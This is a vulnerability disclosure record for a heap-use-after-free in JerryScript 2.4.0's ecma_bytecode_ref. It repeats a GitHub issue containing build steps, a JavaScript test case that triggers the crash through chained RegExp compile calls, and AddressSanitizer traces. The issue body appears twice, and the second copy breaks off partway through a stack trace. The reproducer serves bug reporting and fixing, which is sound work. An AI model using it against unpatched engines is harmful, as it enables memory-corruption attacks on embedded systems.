An issue was discovered in JerryScript 2.4.0. There is a heap-use-after-free in ecma_bytecode_ref in ecma-helpers.c file.
cpe:2.3:a:jerryscript:jerryscript:2.4.0:*:*:*:*:*:*:*
1E97C345-3992-457E-928D-05A0B97B2A5F
OR
###### JerryScript revision
da5b058

###### Build platform
Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64)

###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
 --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
 --compile-flag=-fno-common --compile-flag=-g --strip=off \
 --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
 --error-messages=on --profile=es2015-subset --lto=off 
```

###### Test case
```
function echo(RegExp) {
    try { (r).compile(r).compile(RegExp.prototype) } catch (err) {  }
}

var suppressLastIndex = false;
var suppressRegExp = false;
var suppressIndex = false;

function safeCall(f) {
    var args = [];
    for (var a = 1; a < arguments.length; ++a)
        args.push(arguments[a]);
    try {
        return f.apply(this, args);
    } catch (ex) {
        echo("EXCEPTION");
    }
}


function dump(o) {
    var sb = [];
    if (o === null)
        sb.push("null");
    else if (o === undefined)
        sb.push("undefined");
    else if (o === true)
        sb.push("true");
    else if (o === false)
        sb.push("false");
    else if (typeof o === "number")
        sb.push(o.toString());
    else if (typeof o == "string") {
        if (o.length > 8192)
            sb.push("<long string>");
        else {
            sb.push("\"");
            var start = -1;
            for (var i = 0; i < o.length; i++) {
                var c = o.charCodeAt(i);
                if (c < 32 || c > 127 || c == '"'.charCodeAt(0) || c == '\\'.charCodeAt(0)) {
                    if (start >= 0)
                        sb.push(o.substring(start, i));
                    start = -1;
                    sb.push("\\u");
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf)));
                }
                else {
                    if (start < 0)
                        start = i;
                }
            }
            if (start >= 0)
                sb.push(o.substring(start, o.length));
            sb.push("\"");
        }
    }
    else if (o instanceof RegExp) {
        var body = o.source;
        sb.push("/");
        var start = -1;
        for (var i = 0; i < body.length; i++) {
            var c = body.charCodeAt(i);
            if (c < 32 || c > 127) {
                if (start >= 0)
                    sb.push(body.substring(start, i));
                start = -1;
                sb.push("\\u");
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf)));
            }
            else {
                if (start < 0)
                    start = i;
            }
        }
        if (start >= 0)
            sb.push(body.substring(start, body.length));
        sb.push("/");
        if (o.global)
            sb.push("g");
        if (o.ignoreCase)
            sb.push("i");
        if (o.multiline)
            sb.push("m");
        if (!suppressLastIndex && o.lastIndex !== undefined) {
            sb.push(" /*lastIndex=");
            sb.push(o.lastIndex);
            sb.push("*/ ");
        }
    }
    else if (o.length !== undefined) {
        sb.push("[");
        for (var i = 0; i < o.length; i++) {
            if (i > 0)
                sb.push(",");
            sb.push(dump(o[i]));
        }
        sb.push("]");
        if (!suppressIndex && (o.input !== undefined || o.index !== undefined))
        {
            sb.push(" /*input=");
            sb.push(dump(o.input));
            sb.push(", index=");
            sb.push(dump(o.index));
            sb.push("*/ ");
        }
    }
    else if (o.toString !== undefined) {
        sb.push("<object with toString>");
    }
    else
        sb.push(o.toString());
    return sb.join("");
}

function pre(w, origargs, n) {
    var sb = [w];
    sb.push("(");
    for (var i = 0; i < n; i++) {
        if (i > 0) sb.push(", ");
        sb.push(dump(origargs[i]));
    }
    if (origargs.length > n) {
        sb.push(", ");
        sb.push(dump(origargs[n]));
        origargs[0].lastIndex = origargs[n];
    }
    sb.push(");");
    echo(sb.join(""));
}

function post(r) {
    if (!suppressLastIndex) {
        echo("r.lastIndex=" + dump(r.lastIndex));
    }
    if (!suppressRegExp) {
        var sb = [];
        sb.push("RegExp.${_,1,...,9}=[");
        sb.push(dump(RegExp.$_));
        for (var i = 1; i <= 9; i++) {
            sb.push(",");
            sb.push(dump(RegExp["$" + i]));
        }
        sb.push("]");
        echo(sb.join(""));
    }
}

function exec(r, s) {
    pre("exec", arguments, 2);
    echo(dump(r.exec(s)));
    post(r);
}

function test(r, s) {
    pre("test", arguments, 2);
    echo(dump(r.test(s)));
    post(r);
}

function replace(r, s, o) {
    pre("replace", arguments, 3);
    echo(dump(s.replace(r, o)));
    post(r);
}

function split(r, s) {
    pre("split", arguments, 2);
    echo(dump(s.split(r)));
    post(r);
}

function match(r, s) {
    pre("match", arguments, 2);
    echo(dump(s.match(r)));
    post(r);
}

function search(r, s) {
    pre("search", arguments, 2);
    echo(dump(s.search(r)));
    post(r);
}

function bogus(r, o) {
    echo("bogus(" + dump(r) + ", " + dump(o) + ");");
    try { new RegExp(r, o); echo("FAILED"); } catch (e) { echo("PASSED"); }
}

var r, s;
r = /a*/g;
s = "cdsddfs";
exec(r, s);
exec(r, s);

```

###### Output
```
=================================================================
==80830==ERROR: AddressSanitizer: heap-use-after-free on address 0xf6502022 at pc 0x08073345 bp 0xffe00ad8 sp 0xffe00ac8
READ of size 2 at 0xf6502022 thread T0
    #0 0x8073344 in ecma_bytecode_ref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344
    #1 0x80b41fb in ecma_op_create_regexp_from_bytecode /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:362
    #2 0x8133fe1 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:320
    #3 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #4 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #5 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #6 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #7 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #8 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #9 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #10 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #11 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #12 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #13 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #14 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #15 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #16 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #17 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #18 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #19 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #20 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #21 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #22 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #23 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #24 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #25 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #26 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #27 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579
    #28 0x804acbf in main /home/jerryscript/jerry-main/main-unix.c:759
    #29 0xf7888646 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18646)
    #30 0x8048fb0  (/home/jerryscript/build/bin/jerry+0x8048fb0)

0xf6502022 is located 2 bytes inside of 24-byte region [0xf6502020,0xf6502038)
freed by thread T0 here:
    #0 0xf7abda84 in free (/usr/lib32/libasan.so.2+0x96a84)
    #1 0x80c2885 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476
    #2 0x80c2c1d in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685
    #3 0x80738ff in ecma_bytecode_deref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1467
    #4 0x8133fd0 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:319
    #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579

previously allocated by thread T0 here:
    #0 0xf7abe144 in __interceptor_realloc (/usr/lib32/libasan.so.2+0x97144)
    #1 0x80c2bfe in jmem_heap_realloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:674
    #2 0x80eb507 in re_compile_bytecode /home/jerryscript/jerry-core/parser/regexp/re-compiler.c:144
    #3 0x80b412e in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:336
    #4 0x8133ff7 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:323
    #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579

SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344 ecma_bytecode_ref
Shadow bytes around the buggy address:
  0x3eca03b0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x3eca03c0: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
  0x3eca03d0: fd fd fa fa fd fd fd fa fa fa fd fd fd fa fa fa
  0x3eca03e0: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa
  0x3eca03f0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
=>0x3eca0400: 00 fa fa fa[fd]fd fd fa fa fa fd fd fd fa fa fa
  0x3eca0410: fd fd fd fa fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x3eca0420: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x3eca0430: fd fd fa fa fd fd fd fd fa fa fd fd fd fa fa fa
  0x3eca0440: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fd
  0x3eca0450: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==80830==ABORTING

```

Credits: This vulnerability is detected by chong from OWL337.

heap-use-after-free in ecma_bytecode_ref
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : heap-use-after-free in ecma_bytecode_ref
Issue date:

--- start body ---
###### JerryScript revision
da5b058

###### Build platform
Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64)

###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
 --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
 --compile-flag=-fno-common --compile-flag=-g --strip=off \
 --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
 --error-messages=on --profile=es2015-subset --lto=off 
```

###### Test case
```
function echo(RegExp) {
    try { (r).compile(r).compile(RegExp.prototype) } catch (err) {  }
}

var suppressLastIndex = false;
var suppressRegExp = false;
var suppressIndex = false;

function safeCall(f) {
    var args = [];
    for (var a = 1; a < arguments.length; ++a)
        args.push(arguments[a]);
    try {
        return f.apply(this, args);
    } catch (ex) {
        echo("EXCEPTION");
    }
}


function dump(o) {
    var sb = [];
    if (o === null)
        sb.push("null");
    else if (o === undefined)
        sb.push("undefined");
    else if (o === true)
        sb.push("true");
    else if (o === false)
        sb.push("false");
    else if (typeof o === "number")
        sb.push(o.toString());
    else if (typeof o == "string") {
        if (o.length > 8192)
            sb.push("<long string>");
        else {
            sb.push("\"");
            var start = -1;
            for (var i = 0; i < o.length; i++) {
                var c = o.charCodeAt(i);
                if (c < 32 || c > 127 || c == '"'.charCodeAt(0) || c == '\\'.charCodeAt(0)) {
                    if (start >= 0)
                        sb.push(o.substring(start, i));
                    start = -1;
                    sb.push("\\u");
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf)));
                    sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf)));
                }
                else {
                    if (start < 0)
                        start = i;
                }
            }
            if (start >= 0)
                sb.push(o.substring(start, o.length));
            sb.push("\"");
        }
    }
    else if (o instanceof RegExp) {
        var body = o.source;
        sb.push("/");
        var start = -1;
        for (var i = 0; i < body.length; i++) {
            var c = body.charCodeAt(i);
            if (c < 32 || c > 127) {
                if (start >= 0)
                    sb.push(body.substring(start, i));
                start = -1;
                sb.push("\\u");
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 12) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 8) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 4) & 0xf)));
                sb.push(String.fromCharCode(hex.charCodeAt((c >> 0) & 0xf)));
            }
            else {
                if (start < 0)
                    start = i;
            }
        }
        if (start >= 0)
            sb.push(body.substring(start, body.length));
        sb.push("/");
        if (o.global)
            sb.push("g");
        if (o.ignoreCase)
            sb.push("i");
        if (o.multiline)
            sb.push("m");
        if (!suppressLastIndex && o.lastIndex !== undefined) {
            sb.push(" /*lastIndex=");
            sb.push(o.lastIndex);
            sb.push("*/ ");
        }
    }
    else if (o.length !== undefined) {
        sb.push("[");
        for (var i = 0; i < o.length; i++) {
            if (i > 0)
                sb.push(",");
            sb.push(dump(o[i]));
        }
        sb.push("]");
        if (!suppressIndex && (o.input !== undefined || o.index !== undefined))
        {
            sb.push(" /*input=");
            sb.push(dump(o.input));
            sb.push(", index=");
            sb.push(dump(o.index));
            sb.push("*/ ");
        }
    }
    else if (o.toString !== undefined) {
        sb.push("<object with toString>");
    }
    else
        sb.push(o.toString());
    return sb.join("");
}

function pre(w, origargs, n) {
    var sb = [w];
    sb.push("(");
    for (var i = 0; i < n; i++) {
        if (i > 0) sb.push(", ");
        sb.push(dump(origargs[i]));
    }
    if (origargs.length > n) {
        sb.push(", ");
        sb.push(dump(origargs[n]));
        origargs[0].lastIndex = origargs[n];
    }
    sb.push(");");
    echo(sb.join(""));
}

function post(r) {
    if (!suppressLastIndex) {
        echo("r.lastIndex=" + dump(r.lastIndex));
    }
    if (!suppressRegExp) {
        var sb = [];
        sb.push("RegExp.${_,1,...,9}=[");
        sb.push(dump(RegExp.$_));
        for (var i = 1; i <= 9; i++) {
            sb.push(",");
            sb.push(dump(RegExp["$" + i]));
        }
        sb.push("]");
        echo(sb.join(""));
    }
}

function exec(r, s) {
    pre("exec", arguments, 2);
    echo(dump(r.exec(s)));
    post(r);
}

function test(r, s) {
    pre("test", arguments, 2);
    echo(dump(r.test(s)));
    post(r);
}

function replace(r, s, o) {
    pre("replace", arguments, 3);
    echo(dump(s.replace(r, o)));
    post(r);
}

function split(r, s) {
    pre("split", arguments, 2);
    echo(dump(s.split(r)));
    post(r);
}

function match(r, s) {
    pre("match", arguments, 2);
    echo(dump(s.match(r)));
    post(r);
}

function search(r, s) {
    pre("search", arguments, 2);
    echo(dump(s.search(r)));
    post(r);
}

function bogus(r, o) {
    echo("bogus(" + dump(r) + ", " + dump(o) + ");");
    try { new RegExp(r, o); echo("FAILED"); } catch (e) { echo("PASSED"); }
}

var r, s;
r = /a*/g;
s = "cdsddfs";
exec(r, s);
exec(r, s);

```

###### Output
```
=================================================================
==80830==ERROR: AddressSanitizer: heap-use-after-free on address 0xf6502022 at pc 0x08073345 bp 0xffe00ad8 sp 0xffe00ac8
READ of size 2 at 0xf6502022 thread T0
    #0 0x8073344 in ecma_bytecode_ref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1344
    #1 0x80b41fb in ecma_op_create_regexp_from_bytecode /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:362
    #2 0x8133fe1 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:320
    #3 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #4 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #5 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #6 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #7 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #8 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #9 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #10 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #11 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #12 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #13 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #14 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #15 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #16 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #17 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #18 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #19 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #20 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #21 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #22 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #23 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #24 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #25 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #26 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #27 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579
    #28 0x804acbf in main /home/jerryscript/jerry-main/main-unix.c:759
    #29 0xf7888646 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18646)
    #30 0x8048fb0  (/home/jerryscript/build/bin/jerry+0x8048fb0)

0xf6502022 is located 2 bytes inside of 24-byte region [0xf6502020,0xf6502038)
freed by thread T0 here:
    #0 0xf7abda84 in free (/usr/lib32/libasan.so.2+0x96a84)
    #1 0x80c2885 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:476
    #2 0x80c2c1d in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:685
    #3 0x80738ff in ecma_bytecode_deref /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:1467
    #4 0x8133fd0 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:319
    #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #14 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #15 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #16 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #17 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #18 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #19 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #20 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #21 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #22 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #23 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
    #24 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #25 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #26 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #27 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #28 0x80f9aff in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:339
    #29 0x804def4 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:579

previously allocated by thread T0 here:
    #0 0xf7abe144 in __interceptor_realloc (/usr/lib32/libasan.so.2+0x97144)
    #1 0x80c2bfe in jmem_heap_realloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:674
    #2 0x80eb507 in re_compile_bytecode /home/jerryscript/jerry-core/parser/regexp/re-compiler.c:144
    #3 0x80b412e in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:336
    #4 0x8133ff7 in ecma_builtin_regexp_prototype_compile /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:323
    #5 0x813455b in ecma_builtin_regexp_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:567
    #6 0x808281d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1216
    #7 0x80829c3 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1240
    #8 0x8098e38 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:845
    #9 0x8099c3f in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1142
    #10 0x80fb2f7 in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:778
    #11 0x810e095 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4690
    #12 0x810e5d9 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4792
    #13 0x8099320 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:943
